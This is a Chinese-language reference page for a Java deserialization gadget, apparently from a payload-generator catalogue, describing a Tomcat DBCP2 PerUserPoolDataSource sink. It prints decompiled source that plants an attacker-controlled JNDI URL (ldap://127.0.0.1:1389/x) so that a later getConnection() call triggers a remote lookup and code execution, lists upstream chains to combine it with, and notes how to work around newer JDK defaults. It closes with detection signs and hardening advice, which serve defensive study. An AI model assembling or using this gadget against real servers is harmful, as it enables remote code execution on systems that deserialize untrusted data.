- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.apache.tomcat:tomcat-dbcp >= 8 - 实现:
Gadget(无基类,extends = null)
构造一个 Tomcat 内嵌 DBCP2 的 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource,并把要查找的 JNDI 名称写入它的 dataSourceName 字段。当上游 gadget 触发该对象的 getConnection() 时,DBCP2 内部会以 dataSourceName 为名做一次 JNDI lookup,从而把「调用一个 getter / 特殊 public 方法」转化为JNDI 注入(LDAP/RMI),最终达成 RCE。属于典型的 DataSource → JNDI 链尾 sink。
该 gadget 只有入口 tags,nextTags 为空,是链条的最内层(END)。
- 入口
tags:DataSourceChains—— 声明自身是「DataSource 类利用链」的一环,供上游按此标签选择衔接。SpecialPublicMethod—— 表示可由「调用任意 public 方法」的上游触发(上游只需能调用无参 public 方法getConnection()即可,不必是标准 JavaBean getter)。Getter—— 也可由「调用 getter」的上游触发:getConnection()恰好符合 JavaBean 属性connection的 getter 命名规范。END—— 链尾标记,本 gadget 自身产出最终对象,不再有更内层。
- 衔接
nextTags:(无)——链尾,不再向内包装其它 gadget。 excludes:(无)。
说明:
tags在此充当「本 gadget 可被哪些上游承接」的入口声明。凡nextTags含DataSourceChains(如 Rome 家族、Fastjson/Jackson getter 家族、DWrap)或含SpecialPublicMethod(如 CommonsCollectionsK1/K2)的 gadget,均可把本 sink 接在其后。
完整反编译源码(CFR,Could not load ... PerUserPoolDataSource 属正常,缺失第三方 tomcat-dbcp 依赖,不影响逻辑):
@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
@GadgetAnnotation(name="TomcatDbcp2DataSource2 JNDI", description="...PerUserPoolDataSource", dependencies={"org.apache.tomcat:tomcat-dbcp >= 8"})
public class TomcatDbcp2DataSource2 implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() {
PerUserPoolDataSource dataSource = new PerUserPoolDataSource();
dataSource.setDataSourceName(this.jndiUrl);
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject();
}
}逐段解释:
getObject():new PerUserPoolDataSource()后立刻setDataSourceName(this.jndiUrl)。PerUserPoolDataSource继承自InstanceKeyDataSource,dataSourceName是它用来从 JNDI 环境中定位「底层 CPDS(ConnectionPoolDataSource)」的名字。此处被恶意填成攻击者可控的 JNDI URL(默认ldap://127.0.0.1:1389/x)。注意:本方法不主动触发 lookup,只是把 payload 装配好后作为序列化产物返回。- 触发点在 getter 被调用时:
InstanceKeyDataSource#getConnection()(无参)会走到getPooledConnectionAndInfo(...),其中通过testCPDS(...)/InstanceKeyDataSourceFactory用jndiEnvironment建立InitialContext并对dataSourceName执行lookup。由于dataSourceName是ldap://.../rmi://...远程地址,lookup即发起远程 JNDI 请求,命中 JNDI 注入(可加载远程Reference/字节码),达成 RCE。因此本 gadget 只需上游「调用一次getConnection()」即被引爆。 invoke(context, chain):本 gadget 是链尾,没有chain.doCreate(context)(无更内层对象),而是往GadgetContext写入三条元信息,供上游 gadget 决定「调什么」:SUPER_CLASS_NAME_KEY = DataSource.class:告知上游本对象可安全向上转型为javax.sql.DataSource(上游若需按接口类型持有/代理时使用)。SPECIAL_METHOD_NAME_KEY = "getConnection":告知走SpecialPublicMethod路径的上游要调用的方法名。GETTER_PARAM_NAME_KEY = "connection":告知走Getter路径的上游要读取的属性名(connection→getConnection)。 这套 context 注入正是「可插拔 getter」机制:上游(如 CB1、Rome、Fastjson getter)不写死方法名,而是从 context 读取本 sink 声明的方法/属性名后再反射调用。字段getterMethodName/getterPropertyName与上述常量一致,仅作类内自描述。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
Jndi地址 | 被 setDataSourceName 写入、getConnection() 时 JNDI lookup 的目标地址,指向攻击者控制的 LDAP/RMI 服务 |
ldap://127.0.0.1:1389/x |
任意 JNDI URL(ldap:// / rmi:// / ldaps:// …) |
- 依赖:
org.apache.tomcat:tomcat-dbcp >= 8。Tomcat 8 起把 Apache Commons DBCP 重打包进org.apache.tomcat.dbcp.dbcp2.*(DBCP2)。因此本类使用的是org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource。 - 与同族区别:
- 本类(
TomcatDbcp2DataSource2)用PerUserPoolDataSource;TomcatDbcp2DataSource 用同包的SharedPoolDataSource——二者原理相同,仅底层InstanceKeyDataSource子类不同,作为绕过/兼容备选。 - TomcatDbcpDataSource / TomcatDbcpDataSource2 面向
org.apache.commons.dbcp.datasources.*(DBCP1,Tomcat < 8),依赖org.apache.tomcat:tomcat-dbcp < 8。
- 本类(
- JNDI 注入前置条件:目标 JDK 需允许从远程加载 JNDI
Reference。高版本 JDK(8u191+/11.0.1+ 起com.sun.jndi.ldap.object.trustURLCodebase=false默认关闭远程 codebase)下需改用本地 factory / 反序列化型 JNDI payload(如BeanFactory+ EL、本地Tomcatgadget 等)而非直接远程类加载。 - 触发方式:这是基于方法调用(getter/特殊方法)的 sink,而非字节码 sink;它不经
TemplatesImpl/BytecodeConvert,因此不受「JDK < 17 才能加载 TemplatesImpl 字节码」的限制,只依赖 JNDI 可达性。 - 纯 JDK 触发面:本对象只要在反序列化后被读一次
connection属性或被调一次getConnection()即可,适配面广。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为 DataSourceChains/SpecialPublicMethod/Getter 入口的通用 JNDI 链尾,可按标签与上游自由组合。
- 上游(其
nextTags含DataSourceChains,通过 getter/特殊方法调用本 sink):- Rome 家族:Rome1、Rome2、Rome3、Rome4、RomeEqualsBean1/2、RomeToStringBean1/2
- JSON getter 家族:Fastjson、Fastjson2、FastjsonToString1/2、Jackson、JacksonToString
- DataSource 包装:DWrap
- 上游(其
nextTags含SpecialPublicMethod):CommonsCollectionsK1、CommonsCollectionsK2 - 同族 DataSource JNDI sink:TomcatDbcp2DataSource(
SharedPoolDataSource)、TomcatDbcpDataSource、TomcatDbcpDataSource2(DBCP1)
- 检测特征:
- 序列化流/内存中出现
org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource(或SharedPoolDataSource)实例,且其dataSourceName为ldap:///rmi://等远程 URL——正常应用几乎不会把 JNDI 名设成外网地址。 - 运行期由 DBCP2
InstanceKeyDataSource/InstanceKeyDataSourceFactory发起的InitialContext.lookup指向外部主机,伴随对外 LDAP/RMI 连接。 - 反序列化调用栈中出现
getConnection→ JNDIlookup序列。
- 序列化流/内存中出现
- 加固建议:
- 反序列化入口启用类白名单(如
ObjectInputFilter/JEP 290),拒绝org.apache.tomcat.dbcp.*.datasources.*等 DataSource 实现出现在不可信数据流中。 - 保持 JDK 为高版本并确认
com.sun.jndi.ldap.object.trustURLCodebase/com.sun.jndi.rmi.object.trustURLCodebase为false,阻断远程 codebase 类加载。 - 出口侧限制应用服务器对外发起 LDAP/RMI/DNS 连接,切断 JNDI 注入回连。
- 审计禁止把外部可控数据写入任何
DataSource的dataSourceName/JNDI 名称。
- 反序列化入口启用类白名单(如
- 反编译源码:
- 机器可读元数据:
index/gadgets.json